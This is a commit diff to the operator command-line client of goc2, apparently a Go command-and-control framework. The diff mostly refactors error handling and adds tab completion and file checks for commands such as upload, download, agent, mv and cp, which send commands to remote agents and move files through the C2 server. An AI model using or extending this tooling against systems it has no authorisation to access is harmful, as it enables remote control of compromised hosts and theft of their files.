STRLCPY/goc2

updates
b.stegemoller committed 3 years ago

86c0a3ea

1 parent 8fbe9955

Total 1 files

■ ■ ■ ■ ■ ■

pkg/cli/cli.go

		skipped 60 lines
61	61
62	62		body, readErr := ioutil.ReadAll(resp.Body)
63	63		if readErr != nil {
64		-	log.Fatal(readErr)
	64	+	fmt.Println(readErr)
65	65		}
66	66
67	67		var results []Agent
68	68		jsonErr := json.Unmarshal(body, &results)
69	69		if jsonErr != nil {
70		-	log.Fatal(jsonErr)
	70	+	fmt.Println(jsonErr)
71	71		}
72	72
73	73		for _, d := range results {
		skipped 20 lines
94	94
95	95		for {
96	96		var completer = readline.NewPrefixCompleter(
	97	+	readline.PcItem("download",
	98	+	readline.PcItemDynamic(listFiles(c2, agent)),
	99	+	),
	100	+	readline.PcItem("upload"),
	101	+	readline.PcItem("agent",
	102	+	readline.PcItemDynamic(listAgents(c2)),
	103	+	),
97	104		readline.PcItem("cd",
98	105		readline.PcItemDynamic(listFiles(c2, agent)),
99	106		),
100	107		readline.PcItem("cat",
101	108		readline.PcItemDynamic(listFiles(c2, agent)),
102	109		),
103		-	readline.PcItem("download",
	110	+	readline.PcItem("mv",
104	111		readline.PcItemDynamic(listFiles(c2, agent)),
105	112		),
106		-	readline.PcItem("agent",
107		-	readline.PcItemDynamic(listAgents(c2)),
	113	+	readline.PcItem("cp",
	114	+	readline.PcItemDynamic(listFiles(c2, agent)),
108	115		),
109	116		)
110	117		l, err := readline.NewEx(&readline.Config{
		skipped 64 lines
175	182		file := parts[1]
176	183		//copy(file, "/tmp/"+uuid)
177	184		tempfile := uploadFile(file, c2)
	185	+	if tempfile == "NotFound" {
	186	+	fmt.Println("File not found")
	187	+	break
	188	+	}
178	189		cmdString = "upload " + tempfile
179	190		cmdid := sendCommand(cmdString, agent, c2)
180	191		deadline := time.Now().Add(15 * time.Second)
		skipped 22 lines
203	214		path := parts[1]
204	215		file := filepath.Base(path)
205	216		downloadFile("/tmp/"+file, c2+"/files/"+file)
206		-	fmt.Println("Process Download" + file)
	217	+	//fmt.Println("Process Download" + file)
207	218		}
208	219		if id == cmdid && output != "" \|\| cmdString == "" {
209	220		fmt.Fprintln(os.Stderr, output)
		skipped 110 lines
320	331
321	332		body, readErr := ioutil.ReadAll(resp.Body)
322	333		if readErr != nil {
323		-	log.Fatal(readErr)
	334	+	fmt.Println(readErr)
324	335		}
325	336
326	337		var results []Cmd
327	338		jsonErr := json.Unmarshal(body, &results)
328	339		if jsonErr != nil {
329		-	log.Fatal(jsonErr)
	340	+	fmt.Println(jsonErr)
330	341		}
331	342
332	343		for _, d := range results {
		skipped 27 lines
360	371
361	372		body, readErr := ioutil.ReadAll(resp.Body)
362	373		if readErr != nil {
363		-	log.Fatal(readErr)
	374	+	fmt.Println(readErr)
364	375		}
365	376
366	377		var results Agent
367	378		jsonErr := json.Unmarshal(body, &results)
368	379		if jsonErr != nil {
369		-	log.Fatal(jsonErr)
	380	+	fmt.Println(jsonErr)
370	381		}
371	382
372	383		//fmt.Println(results.Working)
		skipped 64 lines
437	448		}
438	449
439	450		func uploadFile(path string, c2 string) string {
440		-	extraParams := map[string]string{
441		-	"operator": "none",
442		-	}
443		-	request, err := newfileUploadRequest(c2+"/api/cmd/files", extraParams, "myFile", path)
444		-	if err != nil {
445		-	log.Fatal(err)
446		-	}
447		-	client := &http.Client{}
448		-	resp, err := client.Do(request)
449		-	if err != nil {
450		-	log.Fatal(err)
451		-	} else {
452		-	body := &bytes.Buffer{}
453		-	_, err := body.ReadFrom(resp.Body)
	451	+	if _, err := os.Stat(path); err == nil {
	452	+	extraParams := map[string]string{
	453	+	"operator": "none",
	454	+	}
	455	+	request, err := newfileUploadRequest(c2+"/api/cmd/files", extraParams, "myFile", path)
454	456		if err != nil {
455		-	log.Fatal(err)
	457	+	fmt.Println(err)
456	458		}
457		-	resp.Body.Close()
458		-	//fmt.Println(resp.StatusCode)
459		-	//fmt.Println(resp.Header)
460		-	fmt.Println(body.String())
461		-	return body.String()
	459	+	client := &http.Client{}
	460	+	resp, err := client.Do(request)
	461	+	if err != nil {
	462	+	fmt.Println(err)
	463	+	} else {
	464	+	body := &bytes.Buffer{}
	465	+	_, err := body.ReadFrom(resp.Body)
	466	+	if err != nil {
	467	+	fmt.Println(err)
	468	+	}
	469	+	resp.Body.Close()
	470	+	return body.String()
	471	+	}
	472	+	return "Found"
462	473		}
463		-	return ""
	474	+	return "NotFound"
464	475		}
465	476
466	477		// Creates a new file upload http request with optional extra params
467	478		func newfileUploadRequest(uri string, params map[string]string, paramName, path string) (*http.Request, error) {
468		-	file, err := os.Open(path)
469		-	if err != nil {
470		-	return nil, err
471		-	}
472		-	defer file.Close()
	479	+	if _, err := os.Stat(path); err == nil {
	480	+	file, err := os.Open(path)
	481	+	if err != nil {
	482	+	return nil, err
	483	+	}
	484	+	defer file.Close()
473	485
474		-	body := &bytes.Buffer{}
475		-	writer := multipart.NewWriter(body)
476		-	part, err := writer.CreateFormFile(paramName, filepath.Base(path))
477		-	if err != nil {
478		-	return nil, err
479		-	}
480		-	_, err = io.Copy(part, file)
	486	+	body := &bytes.Buffer{}
	487	+	writer := multipart.NewWriter(body)
	488	+	part, err := writer.CreateFormFile(paramName, filepath.Base(path))
	489	+	if err != nil {
	490	+	return nil, err
	491	+	}
	492	+	_, err = io.Copy(part, file)
481	493
482		-	for key, val := range params {
483		-	_ = writer.WriteField(key, val)
484		-	}
485		-	err = writer.Close()
486		-	if err != nil {
487		-	return nil, err
488		-	}
	494	+	for key, val := range params {
	495	+	_ = writer.WriteField(key, val)
	496	+	}
	497	+	err = writer.Close()
	498	+	if err != nil {
	499	+	return nil, err
	500	+	}
489	501
490		-	req, err := http.NewRequest("POST", uri, body)
491		-	req.Header.Set("Content-Type", writer.FormDataContentType())
492		-	return req, err
	502	+	req, err := http.NewRequest("POST", uri, body)
	503	+	req.Header.Set("Content-Type", writer.FormDataContentType())
	504	+	return req, err
	505	+	}
	506	+	return nil, nil
493	507		}
494	508

updates